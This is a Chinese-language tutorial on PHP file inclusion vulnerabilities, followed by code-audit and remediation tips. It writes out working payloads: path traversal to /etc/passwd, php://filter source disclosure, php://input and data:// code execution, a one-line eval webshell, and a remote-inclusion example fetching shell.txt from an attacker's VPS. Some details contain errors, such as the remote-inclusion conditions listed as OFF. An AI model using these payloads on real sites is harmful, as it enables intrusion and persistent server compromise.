詳解PHP滲透測(cè)試文件包含漏洞與利用
什么是文件包含漏洞
文件包含,在網(wǎng)站開(kāi)發(fā)人員開(kāi)發(fā)網(wǎng)站時(shí),會(huì)將經(jīng)常重復(fù)的代碼寫(xiě)道一個(gè)單獨(dú)的文件中,在別的文件中可以使用文件包含的函數(shù)來(lái)引用單獨(dú)的文件。目前很多語(yǔ)言都支持文件包含,例如php(inchude,require,inchude_once,require_once)等,,也就是包含文件包含函數(shù),其目的就是減少代碼重復(fù),提高代碼優(yōu)化效率,減少函數(shù)重復(fù)的使用。
文件包含產(chǎn)生的漏洞,因?yàn)橛羞@些文件包含的函數(shù),當(dāng)我們有一定權(quán)限(可讀)的時(shí)候,我們就可以利用文件包含函數(shù)包含我們語(yǔ)言指定的文件,或者是包含本地服務(wù)器中的文件。簡(jiǎn)而言之,當(dāng)php語(yǔ)言在引入文件時(shí),引用的文件名,用戶(hù)可控,由于傳入的文件名沒(méi)有經(jīng)過(guò)效驗(yàn),或者沒(méi)有經(jīng)過(guò)過(guò)濾被繞過(guò),從而引用別的文件,導(dǎo)致的惡意代碼注入
文件包含漏洞的分類(lèi)
大體可以分為:本地文件包含和遠(yuǎn)程文件包含。
遠(yuǎn)程文件包含:開(kāi)啟條件,在php.ini配置文件中開(kāi)啟allow_url_fopen和allow_url_include,包含文件是第三方文件
本地文件包含:就是本地服務(wù)器上的文件
一旦遠(yuǎn)程包含可以開(kāi)啟,那么遠(yuǎn)程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以隨意的包含任意主機(jī)的任意文件。

本地文件包含
顧名思義,引用本地文件,利用inchude包含函數(shù)包含本地(服務(wù)器)文件。
漏洞&利用
利用條件(以PHP為例)
1.inchude,等函數(shù)通過(guò)動(dòng)態(tài)變量引入
2.用戶(hù)能自動(dòng)控制動(dòng)態(tài)變量
什么是動(dòng)態(tài)變量?
我們可以這么理解,例如一個(gè)網(wǎng)站 http://127.0.0.1/inchude.php?in=../../../etc/passwd,那么此時(shí)的?in=../../../etc/passwd是我們動(dòng)態(tài)可以操作的變量
直接訪(fǎng)問(wèn)文件
?xx=/etc/passwd #直接訪(fǎng)問(wèn)passwd敏感文件
?xx=../../../etc/passwd
利用協(xié)議讀取源代碼
?xx=php://filter/read=convert.base64-encode/resource=xx.php #這樣能看到php文件的源碼
截?cái)?00
這里假設(shè)漏洞代碼為
<?php
if(isset($_GET['shell']))
{
include($_GET['shell'].".php"); //包含文件后會(huì)加上.php,并進(jìn)行訪(fǎng)問(wèn)
}else{
include(index.php);
}
?>假設(shè)這樣正常的網(wǎng)站,我們上傳一個(gè)圖片馬文件為tpm.jpg,此時(shí)我們需要訪(fǎng)問(wèn)圖片時(shí)網(wǎng)址就會(huì)報(bào)錯(cuò),此時(shí)url=http://127.0.0.1/index.php?shell=tpm.jpg.php,此時(shí)文件中并沒(méi)有該文件,此時(shí)我們就可以在.jpg后添加%00進(jìn)行截?cái)啵赡芸梢岳@過(guò)。
條件:php.ini中magic_quotes_qpc=off并且PHP版本< 5.3.4的情況。
長(zhǎng)度截?cái)?/h4>
漏洞代碼演示
<?php $file=$_GET['shell']; include($file.'.jpg'); ?>
與上面原理差不多,在1.txt中寫(xiě)下

當(dāng)知曉對(duì)方服務(wù)器的而前提下,我們可以使用超出服務(wù)器的解析特征,進(jìn)行一個(gè)繞過(guò)。
條件:Windows長(zhǎng)度是‘/.’長(zhǎng)于256,Linux長(zhǎng)度是‘/.’長(zhǎng)于4096
PHP的偽協(xié)議
file://
作用:
訪(fǎng)問(wèn)本地文件,在CTF中常用文件包含題型
條件:
allow_url_fopen=off/on
allow_url_inchude=off/on
實(shí)例:
文件的絕對(duì)路徑和文件名
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
文件的相對(duì)路徑和文件名
http://127.0.0.1/include.php?file=./phpinfo.txt
網(wǎng)絡(luò)路徑和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
作用:
php:// 訪(fǎng)問(wèn)輸入輸出流(i/o)
這里介紹兩種常用類(lèi)型:
php://filter 用于讀取源碼
php://input 用于執(zhí)行PHP代碼
條件:
allow_url_fopen=off/on
allow_url_inchude=off/on
實(shí)例
php://filter/read=convert.base64-encode/resource=[文件名] //base64讀取文件源碼
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input + POST執(zhí)行php代碼
http://127.0.0.1/include.php?file=php://input[POST DATA部分] <?php phpinfo(); ?>
如果具有一定的寫(xiě)入權(quán)限,POST 寫(xiě)入一句話(huà)木馬
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>data://
條件 :
allow_url_fopen=on
allow_url_inchude=on
作用:
在PHP>=5.2.0起,可以使用data://數(shù)據(jù)封裝器,傳遞數(shù)據(jù)相應(yīng)格式的數(shù)據(jù)
可以執(zhí)行PHP代碼
實(shí)例
#1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
#2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
phar://協(xié)議與zip://類(lèi)似,同樣可以訪(fǎng)問(wèn)zip格式壓縮包內(nèi)容
http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用條件 PHP > 5.3
要想使用Phar類(lèi)里的方法,必須將phar.readonly=on/off,利用 phar 協(xié)議可以拓展 php 反序列化漏洞攻擊面
遠(yuǎn)程文件包含
服務(wù)器通過(guò)PHP的函數(shù)去包含任意文件時(shí),由于要包含的這個(gè)文件過(guò)濾不嚴(yán)格,從而可以去包含一個(gè)惡意文件,從而達(dá)到攻擊的目的
漏洞利用
條件:
allow_url_include = OFF
allow_url_fopen = OFF
遠(yuǎn)程包含webshell
?xxx=http://攻擊者的VPS/shell.txt
#會(huì)在網(wǎng)站目錄生成名為 shell.php 的一句話(huà)木馬
shell.txt內(nèi)容為:
<?php
fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>代碼審計(jì)
文件包含用到的函數(shù)
include() //使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時(shí)才將文件包含進(jìn)來(lái),發(fā)生錯(cuò)誤時(shí)只警告并繼續(xù)執(zhí)行。
inclue_once() //功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。
require() //使用此函數(shù),只要程序執(zhí)行,立即調(diào)用此函數(shù)包含文件發(fā)生錯(cuò)誤時(shí),會(huì)輸出錯(cuò)誤信息并立即終止程序。
require_once() //功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。
代碼審計(jì)的時(shí)候全局搜索以上函數(shù)
如果是基于圖像上傳的 ,要搜$_FILES 變量, 因?yàn)镻HP處理上傳文件的功能,基本都與$_FILES有關(guān)。
查看目錄結(jié)構(gòu),重點(diǎn)關(guān)注includes、modules等文件夾,查看index.php等文件是否動(dòng)態(tài)調(diào)用過(guò)這些內(nèi)容,變量是否可控。
修復(fù)建議
- 禁止遠(yuǎn)程文件包含
allow_url_include=off - 配置
open_basedir=指定目錄,限制訪(fǎng)問(wèn)區(qū)域。 - 過(guò)濾
../等特殊符號(hào) - 修改Apache日志文件的存放地址
- 開(kāi)啟魔術(shù)引號(hào)
magic_quotes_qpc=on - 盡量不要使用動(dòng)態(tài)變量調(diào)用文件,直接寫(xiě)要包含的文件。
到此這篇關(guān)于詳解PHP滲透測(cè)試文件包含漏洞與利用的文章就介紹到這了,更多相關(guān)PHP文件漏洞與利用內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
php連接odbc數(shù)據(jù)源并保存與查詢(xún)數(shù)據(jù)的方法
這篇文章主要介紹了php連接odbc數(shù)據(jù)源并保存與查詢(xún)數(shù)據(jù)的方法,涉及odbc數(shù)據(jù)源的操作技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下2014-12-12
PHP 開(kāi)發(fā)環(huán)境配置(Zend Server安裝)
運(yùn)行安裝文件(ZendServer-CE-php-5.3.2-5.0.1-Windows_x86.exe)開(kāi)始安裝,選項(xiàng)請(qǐng)參照我的選擇。2010-04-04
php檢測(cè)數(shù)組長(zhǎng)度函數(shù)sizeof與count用法
這篇文章主要介紹了php檢測(cè)數(shù)組長(zhǎng)度函數(shù)sizeof與count用法,實(shí)例分析了count的用法,并對(duì)sizeof函數(shù)進(jìn)行了詳盡的分析說(shuō)明,具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2014-11-11
PHP Squid中可緩存的動(dòng)態(tài)網(wǎng)頁(yè)設(shè)計(jì)
有時(shí)我們需要控制主頁(yè)之類(lèi)的網(wǎng)頁(yè)過(guò)期時(shí)間.但我們比如使用的是Chinacache的CDN,那要怎么樣設(shè)計(jì)才能讓他緩存我的內(nèi)容.2008-09-09
PHP實(shí)現(xiàn)倒計(jì)時(shí)功能
這篇文章主要為大家詳細(xì)介紹了PHP實(shí)現(xiàn)倒計(jì)時(shí)功能,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2020-11-11
Referer原理與圖片防盜鏈實(shí)現(xiàn)方法詳解
這篇文章主要介紹了Referer原理與圖片防盜鏈實(shí)現(xiàn)方法,結(jié)合實(shí)例形式詳細(xì)分析了Referer頭信息原理與圖片防盜鏈判定、實(shí)現(xiàn)方法,并附帶一個(gè)Http請(qǐng)求封裝類(lèi),需要的朋友可以參考下2019-07-07
php進(jìn)行支付寶開(kāi)發(fā)中return_url和notify_url的區(qū)別分析
這篇文章主要介紹了php進(jìn)行支付寶開(kāi)發(fā)中return_url和notify_url的區(qū)別,較為詳細(xì)的分析了return_url和notify_url的區(qū)別與用法,需要的朋友可以參考下2014-12-12
php安全配置記錄和常見(jiàn)錯(cuò)誤梳理(總結(jié))
下面小編就為大家?guī)?lái)一篇php安全配置記錄和常見(jiàn)錯(cuò)誤梳理(總結(jié))。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2017-03-03

